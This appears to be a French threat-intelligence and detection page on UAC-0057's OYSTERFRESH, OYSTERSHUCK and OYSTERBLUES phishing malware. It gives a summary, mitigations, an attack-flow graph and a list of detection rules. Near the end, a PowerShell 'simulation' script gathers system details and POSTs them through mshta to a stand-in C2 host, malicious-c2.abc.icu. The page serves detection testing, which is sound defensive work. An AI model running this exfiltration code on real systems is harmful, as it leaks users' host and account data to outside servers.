UAC-0057 Met à Jour son Ensemble d’Outils avec OYSTERFRESH, OYSTERSHUCK, et OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
CERT-UA a signalé une campagne de phishing ciblant les organisations gouvernementales ukrainiennes. Les e-mails contiennent des pièces jointes PDF qui redirigent les destinataires vers des archives ZIP transportant des fichiers JavaScript malveillants connus sous les noms de OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES. Une fois exécuté, le logiciel malveillant collecte des informations système et les envoie via des requêtes HTTP POST, avec la possibilité de récupérer un composant Cobalt Strike à un stade ultérieur. L’infrastructure de soutien est dissimulée derrière Cloudflare et utilise largement .icu domaines.
Enquête
L’analyse de CERT-UA a identifié les exemples de JavaScript malveillants, les méthodes de décodage sur lesquelles ils reposent, notamment l’inversion de chaîne, ROT13 et le décodage d’URL, et les modifications de registre utilisées pour maintenir la persistance. Les enquêteurs ont également documenté plusieurs artefacts de fichiers et chemins Windows associés à la chaîne d’infection. L’analyse réseau a lié l’activité à une infrastructure d’hébergement protégée par Cloudflare. Le rapport note également la livraison possible d’un relais Cobalt Strike. .icu hosting infrastructure. The report further notes the possible follow-on delivery of a Cobalt Strike beacon.
Atténuation
Les organisations devraient restreindre l’exécution de wscript.exe pour les utilisateurs standard, limiter l’exécution de PowerShell et de JavaScript, et surveiller les clés de registre Run listées pour toute modification suspecte. Le filtrage Web devrait être utilisé pour bloquer les .icu domaines et, le cas échéant, les plages d’IP liées à Cloudflare associées à la campagne. Les défenseurs devraient également appliquer la stratégie du moindre privilège et empêcher l’exécution automatique de binaires inconnus.
Réponse
Les équipes de sécurité devraient créer des détections pour les noms de fichiers, les clés de registre et le trafic HTTP POST sortant vers les domaines connus. La chasse devrait également couvrir la charge utile possible de Cobalt Strike, y compris le CSBEACON DLL, et toute tâche planifiée nommée MicrosoftEdgeUpdateTaskMachine. Les enquêtes sur les endpoints devraient collecter les arbres de processus pour retracer la chaîne de décodage et d’exécution de JavaScript.
graph TB %% Définitions des classes classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Nœuds action_phishing[« <b>Action</b> – <b>T1566.001 Hameçonnage</b><br/>Spearphishing avec pièce jointe : email contenant un PDF malveillant avec lien vers ZIP »] class action_phishing action action_user_exec[« <b>Action</b> – <b>T1204.002 Exécution utilisateur</b><br/>La victime ouvre le PDF/ZIP et exécute JavaScript OYSTERFRESH »] class action_user_exec action malware_oysterfresh[« <b>Malware</b> – OYSTERFRESH<br/>Fichier JavaScript livré dans un ZIP, point d’entrée de l’attaque »] class malware_oysterfresh malware action_obfuscate[« <b>Action</b> – <b>T1027.008 Obfuscation</b><br/>Charge utile obfusquée via inversion de chaînes, ROT13 et décodage URL »] class action_obfuscate action malware_oysterblues[« <b>Malware</b> – OYSTERBLUES<br/>Écrit des entrées de registre et lance des composants de persistance »] class malware_oysterblues malware tool_wscript[« <b>Outil</b> – wscript.exe<br/>Windows Script Host utilisé pour exécuter des composants JavaScript supplémentaires »] class tool_wscript tool action_proxy_exec[« <b>Action</b> – <b>T1127 Exécution par proxy</b><br/>Utilise wscript.exe pour exécuter OYSTERSHUCK et OYSTERBLUES »] class action_proxy_exec action action_persistence[« <b>Action</b> – <b>T1547.014 Persistance</b><br/>Création de clés HKCU Run pour lancer MicrosoftEdgeUpdate.exe et EdgeApp.exe à la connexion »] class action_persistence action action_discovery[« <b>Action</b> – <b>T1057 Découverte de processus</b><br/>Collecte de la liste des processus, nom de machine, utilisateur, version OS et temps de démarrage »] class action_discovery action process_c2[« <b>Processus</b> – HTTP POST vers serveur C2<br/>Envoi des informations système collectées »] class process_c2 process action_embedded_payload[« <b>Action</b> – <b>T1027.009 Payload intégré</b><br/>Beacon Cobalt Strike intégré dans JavaScript et exécuté via eval »] class action_embedded_payload action malware_cobalt_strike[« <b>Malware</b> – Beacon Cobalt Strike<br/>Payload malveillant intégré »] class malware_cobalt_strike malware %% Connexions action_phishing –>|livre| action_user_exec action_user_exec –>|déclenche| malware_oysterfresh malware_oysterfresh –>|effectue| action_obfuscate action_obfuscate –>|crée| malware_oysterblues malware_oysterblues –>|utilise| tool_wscript tool_wscript –>|permet| action_proxy_exec action_proxy_exec –>|exécute| malware_oysterblues action_proxy_exec –>|exécute| malware_oysterfresh action_proxy_exec –>|exécute| malware_cobalt_strike action_persistence –>|établit| process_c2 action_discovery –>|envoie vers| process_c2 action_embedded_payload –>|exécute| malware_cobalt_strike
Flux d’attaque
Détections
Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)
Voir
Extension de fichier suspecte ajoutée aux clés Run [ASEPs] (via registry_event)
Voir
Extraction d’archive directement depuis le client de messagerie (via process_creation)
Voir
Exécution depuis une archive ZIP [7zip] (via process_creation)
Voir
Exécution depuis une archive RAR [WinRAR] (via process_creation)
Voir
LOLBAS WScript / CScript (via process_creation)
Voir
LOLBAS RunDLL32 (via cmdline)
Voir
Fichiers extraits suspects d’une archive (via file_event)
Voir
Tâche planifiée suspecte (via audit)
Voir
Commande et contrôle suspect par demande DNS avec domaine de premier niveau (TLD) inhabituel (via dns)
Voir
IOC (HashSha256) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 2
Voir
IOC (HashSha256) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 1
Voir
IOC (HashSha1) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES
Voir
IOC (HashMd5) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 2
Voir
IOC (HashMd5) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES Partie 1
Voir
IOC (SourceIP) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES
Voir
IOC (DestinationIP) pour détecter : boîte à outils mise à jour UAC-0057 : OYSTERFRESH, OYSTERSHUCK et OYSTERBLUES
Voir
Détection d’exfiltration OYSTERBLUES via HTTP POST vers des domaines .icu [Connexion réseau Windows]
Voir
Détection de l’exécution malveillante de JavaScript via wscript.exe [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : La vérification préalable de télémétrie et de référence doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit reflètent directement les TTPs identifiés et produisent la télémétrie exacte attendue par la logique de détection.
-
Narratif et commandes de l’attaque :
L’adversaire exploite un binaire Windows signé (mshta.exe) pour exécuter une petite charge utile JavaScript qui collecte des informations système et les exfiltre via un HTTP POST vers un domaine malveillant “*.icu” contrôlé par le serveur C2. Cette approche de « vivre de la terre » évite de déclencher des alertes AV tout en générant exactement l’événement de pare-feu que la règle surveille (POST + « .icu »). -
Script de test de régression :
# Simulation d'exfiltration type OYSTERBLUES # 1. Encoder les informations système minimales en JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Écrire un fichier HTML temporaire exécutant une requête POST JS $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Exécuter via mshta (proxy d'exécution de binaire signé) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Laisser le temps à la requête de s'achever puis nettoyer Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Commandes de nettoyage :
# S'assurer que les processus mshta résiduels sont terminés Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les fichiers temporaires résiduels (le cas échéant) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }